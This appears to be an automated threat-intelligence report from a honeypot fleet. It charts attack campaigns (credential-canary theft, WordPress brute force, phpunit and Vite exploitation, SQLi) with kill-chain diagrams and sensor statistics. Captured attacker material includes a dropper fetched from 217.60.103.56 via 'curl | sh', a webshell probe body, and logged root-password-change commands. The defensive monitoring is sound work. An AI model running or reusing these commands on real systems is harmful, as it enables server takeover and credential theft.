flux fleet — campaign visuals

Period: 2026-09-24 07:34:00 → 2026-09-25 (current 24 h window highlighted) · Generated 2026-09-25 07:38 UTC · CUTOFF 2026-09-24 07:34:00
Companion to flux-digest-2026-09-25.md · briefing 2026-09-25 · registry (registry is markdown in the skill assets)
Fleet events all-time: 773,695 Journey-fingerprint sigs: 72 Issued rows all-time: 1,627 24 h top talkers: 15 XFF mismatches all-time: 15502
frantech-ts 09-17/09-18 counts are floor values — node disk-full outage №24, flux writer died ~07:11 UTC 09-17; digest rerun after ops trims pcaps.

Fleet activity — daily events per sensor, 2026-08-29 → today

Attribution health — daily % named clientIp; XFF peer-mismatch chips

ru-edge-1: 8947ai-devbox-1: 5388frantech-ts: 968canary-farm-1: 191sponge-01-ts: 4control-1: 4netcup-ts: 0

Mint volume — issued rows per day; purple = day with Tracebit use events

Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)

Curated kill-chains — registry campaigns, maintained at briefing time

CREDENTIAL-DRAIN active

Mint→use pipeline, not a trap template. №25 third run: collectors 2a02:c207:2341:3992::1 + 45.67.216.15 minted 4 then the SAME IPs ran 6x ListEmailIdentities (SES) denials each — first collect-and-use from one IP; №24 console session unchanged.
flowchart LR
    MINT["Empty-IP mint burst<br/>on one node"] --> COLLECT["Collector harvest<br/>(forged AI-crawler UAs)"]
    COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
    USE --> S1["ConsoleLogin<br/>GetSigninToken<br/>GetCallerIdentity ✓24"]
    USE --> S2["Denied recon ops<br/>GetAccount ×108<br/>DescribeInstances ×97<br/>ListUsers ×6"]
    S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]

NIGHTAGENT dormant

DROPPER RETIRED 09-24: the nightagents/nightshell repo is 404 with its GHSAT token attached — the token was byte-identical across 14 windows. Eighth run (№28) was the campaign's first mint: 105.158.191.248, two full passes on farm 09-21, 1 credential issued, zero AWS use since. Idle three windows and counting; the phpunit verify body <?php echo "NightAgent";?> is the surviving fingerprint — a return must carry a NEW dropper URL.
flowchart LR
    V["phpunit webshell verify<br/>NightAgent echo"] --> D["nightshell dropper<br/>RETIRED 09-24 — 404<br/>repo removed"]
    D -.-> L["form login<br/>user=root&pass=wrong"]
    L --> W["wp-batch SQLi<br/>UNION SELECT"]
    W --> MINT["1 mint №28<br/>(zero AWS use)"]

METADATA-HUNT idle

Third idle window (№24): 0 /@fs rows. Named runners hoard minted credentials (136.117.52.210's 26 expired unused).
flowchart LR
    SW["GCP template sweep<br/>forged AI-crawler UAs"] --> SSRF["SSRF → IMDS<br/>__aws_leak_probe_*"]
    SSRF --> VITE["Vite /@fs traversal<br/>CVE-2026-39364 ?raw??"]
    VITE --> ENV["/.env · .mcp.json<br/>vite-fs mints"]
    ENV --> HOARD["Credential hoard<br/>zero AWS use"]

OMEGA-SWEEP active

№28: largest synchronized day since №16 — 6,600 ev / 35 mints / 4 operators / 3 nodes (.248 farm+control, .249 farm, .243 ru-edge+netcup). 45.138.12.16 did not return; stays a candidate.
flowchart LR
    OP["/46 pool + external ops<br/>forged Googlebot/2.1"] --> SWEEP["1,042-path census<br/>12-s mint bursts"]
    SWEEP --> MINT["/.env mints<br/>35 (№28)"]
    MINT --> HOARD["Standing hoard<br/>~290+ creds, zero use"]

REGISTRY-HUNT active

LeakIX l9scan template. №28: 7 full-kit DO IPs (41 ev each, aidev 4 / farm 3) + 1 fragment; 6 mints at 1/IP — 134.209.25.199 skipped its mint (4 in 6 days). 16th window of the 1-mint cadence.
flowchart LR
    L9["LeakIX l9scan<br/>DO IP pool"] --> W1["WebLogic console"]
    W1 --> W2["Confluence · WHM/cPanel"]
    W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
    DR --> GR["/graphql introspection<br/>credential-canary hit"]
    GR --> MINT["Mints 1/IP<br/>6 (№28)"]

CREDSWEEP active

№24: .102 ran 4 quick node passes (widest spread yet, 4 mints). VPS Dedicated /24 holds 3 operators.
flowchart LR
    OP["Feo Prest /24 ·<br/>VPS Dedicated SI"] --> ENV["511-path .env-variant<br/>+ credential census"]
    ENV --> FORGE["Mozlila/5.0 typo forgery"]
    FORGE --> MINT["Mints<br/>4 (№24)"]

XMLRPC-BRUTE active

№28: fifth operator 119.40.84.186 (BDCOM BD, same IP as №27) burst→sustained: 18,063 xmlrpc + 18,063 wp-login POSTs (17,946 distinct pairs) over 6.5 h on netcup. Fleet-wide 19,101 wp-login events from 38 IPs; 924 are background brute.
flowchart LR
    OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
    PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
    FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]

MALWARE-DICT active

Pfcloud 204.76.203.18 loop RESUMED №26 (first absence was №22): 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
flowchart LR
    FEED["URLhaus-style<br/>dropper-URL feed"] --> REPLAY["Dictionary replay<br/>569-path loop"]
    REPLAY --> SIB["204.76.203.31 sibling<br/>4-node light census"]

GIT-VAULT paused

Git-internals walk + secrets files; `git/2.39.0` UA is the fingerprint. №23: new Interserver operator ran a full /.git/hooks/ enumeration.
flowchart LR
    W["Git-internals walk<br/>.git/objects/<2>/<38>"] --> REFS["packed-refs · refs/heads/main<br/>hooks/ enumeration"]
    REFS --> ENV[".env · database.yml ·<br/>secrets.yml"]
    ENV --> MINT["Mints"]

LIBREDTAIL-KIT active

phpunit directory-permutation RCE, honest UA libredtail-http. №30: 12 run IPs (10 full-kit, 39 ev each) across 6 nodes, spaced over the window; dropper captured 13/13 → 217.60.103.56 arg apache.
flowchart LR
    P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
    RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
    DROP --> SH["curl | sh -s apache"]

INFOCREST-KIT active

Composite kit, operator + password rotate per run. №23: fifth operator 41.249.4.249 (first residential). №24: absent.
flowchart LR
    T["Tarpit cycling"] --> PMA["phpMyAdmin enum"]
    PMA --> ADM["Adminer POSTs<br/>prod_rw + 22-char pw"]
    ADM --> CFG["Config-bundle enum"]
    CFG --> WP["wp-batch multiplex"]

AKAMAI-CONFIG active

№23–№24: 23.94.155.0/24 cluster, 12 IPs, per-leg IP separation. Second run 09-18 (200 ev, 0 mints); watch for a third run with mints.
flowchart LR
    CL["23.94.155.0/24<br/>per-leg IP separation"] --> ENV["53-path .env fanout<br/>+ config JSONs"]
    ENV --> ADM["Adminer POSTs<br/>joomla_app + 22-char pw"]
    ADM --> PMA["phpMyAdmin enum"]
    PMA --> WP["wp-batch SQLi"]

ALIYUN-PROBE paused

Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
    OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
    CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
    ALI --> ZERO["0 mints —<br/>recon only"]

SYNC-ENUM-WAVE active

№25 NEW: 8 IPs ran byte-identical 282-event WordPress user-enum passes (270 tarpit + 12 enum calls), Chrome/127 UA, staggered ~15 min across control, ru-edge, sponge 18:41-20:01 UTC 09-18. №24 2-IP run was the same shape; third run, promoted.
flowchart LR
    Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
    P --> N1["control"]
    P --> N2["ru-edge"]
    P --> N3["sponge"]
    N1 --- ZERO["0 mints"]

MEGA-DICT active

Eighth replay №30: 185.213.155.227 (31173 Services AB, DE; second appearance by this ASN) on frantech-ts, 13,191 GETs / 13,189 paths in ~2m. First growth since №29's +126: +55 first-ever paths (13,134/13,134 overlap with №29's set) — /qzxuuppn.* ×22, /nsh*k* ×8, /main.arm*v*l ×4, /stub.* arms, /bot.arm7n.
flowchart LR
    F["13,189-path IoT dropper-URL<br/>dictionary (shared artifact)"] --> R["Replay: ~2m<br/>208 rotating UAs"]
    R --- B["NEW stems: /qzxuuppn.*<br/>+/nshk* · /nsh* — first growth<br/>under the 31173 operator"]

WP-BATCH family recurring

Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
flowchart LR
    MP["/wp-json/batch/v1<br/>multipost requests body"] --> SQLI["UNION SELECT<br/>author_exclude SQLi"]
    SQLI --> HOST["Rides inside INFOCREST ·<br/>AKAMAI-CONFIG · NIGHTAGENT"]

Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)

sankey-beta

canary-farm-1,minted credentials,779
ai-devbox-1,minted credentials,687
control-1,minted credentials,104
ru-edge-1,minted credentials,57
minted credentials,used in AWS (893 events),893
minted credentials,unused / hoarded,734

SSH/telnet honeypot funnel — frantech-ts only, not fleet-wide

flowchart LR
    SRC["ssh sources<br/>3706 IPs"] --> AUTH["240781 auth events"]
    AUTH -->|accepted| LOGIN["129754 logins<br/>3261 IPs"]
    LOGIN --> SHELL["96870 commands<br/>1754 IPs"]
    TEL["telnet<br/>691 IPs"] --> TAUTH["7340 auth events"]

Recent hp commands — newest first (state.hp_commands)

first_seenipeventshead
2026-09-25 03:16180.108.64.61"echo \"root:vQGKKdVlbOEW\"|chpasswd|bash"
2026-09-25 03:16218.78.46.811"echo -e \"qwe123!@#\\n5x4MvUMpjFUm\\n5x4MvUMpjFUm\"|passwd|bash"
2026-09-25 03:16218.78.46.811"echo \"qwe123!@#\\n5x4MvUMpjFUm\\n5x4MvUMpjFUm\\n\"|passwd"
2026-09-25 03:1646.191.141.1521"echo \"Abc123\\nY3qE7AltpjNq\\nY3qE7AltpjNq\\n\"|passwd"
2026-09-25 03:1614.103.107.2341"echo \"root:FJdX5lSUU9qU\"|chpasswd|bash"
2026-09-25 03:16106.13.1.71"echo \"root:cTW8yMfF9bZk\"|chpasswd|bash"
2026-09-25 03:16180.76.60.831"echo -e \"1234\\nf0e6zxUcmCtZ\\nf0e6zxUcmCtZ\"|passwd|bash"
2026-09-25 03:1646.191.141.1521"echo \"root:H7fZCh3NaNxZ\"|chpasswd|bash"

Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps

Arkime window 2026-09-24 07:34:00 → 2026-09-25 07:35:23 UTC · 77,195 inbound sessions on 7 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprintcampaignsessionssrc IPsnetworkscountriesportssrc IPs/day
f555226df196…LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)5,776337178612209-20 327 · 09-21 373 · 09-22 297 · 09-23 351 · 09-24 330 · 09-25 113
06ff3615a51b…GO-SPRAY-SWEEP dispersed sweep (one port, many networks)265192141552209-10 653 · 09-11 645 · 09-12 398 · 09-17 274
03a80b21afa8…—6463820122209-18 8 · 09-19 20 · 09-21 27 · 09-23 28 · 09-24 28 · 09-25 22
16443846184e…—7,4453622182209-20 34 · 09-21 37 · 09-22 30 · 09-23 32 · 09-24 32 · 09-25 24
0a07365cc01f…—18,6053213112209-20 47 · 09-21 39 · 09-22 47 · 09-23 36 · 09-24 35 · 09-25 15
084386fa7ae5…—26924642209-25 9
dd9bcf093c35…—24241122—
2ec37a7cc8da…—1,65818342209-20 17 · 09-21 17 · 09-22 15 · 09-23 16 · 09-24 15 · 09-25 11
98ddc5604ef6…—1,166171462209-19 12 · 09-20 8 · 09-21 8 · 09-22 13 · 09-23 9 · 09-25 11
873a5fb5fedc…—14142122—
e54ef3ec27fe…—20134322—
4e066189c3bb…—70210962209-19 8 · 09-20 15 · 09-21 14 · 09-22 16 · 09-24 14 · 09-25 4

Top talkers — 24 h window from CUTOFF, named clientIp only

Result-tag heatmap — top 25 tags × 21 days, fleet-wide (all sensors summed)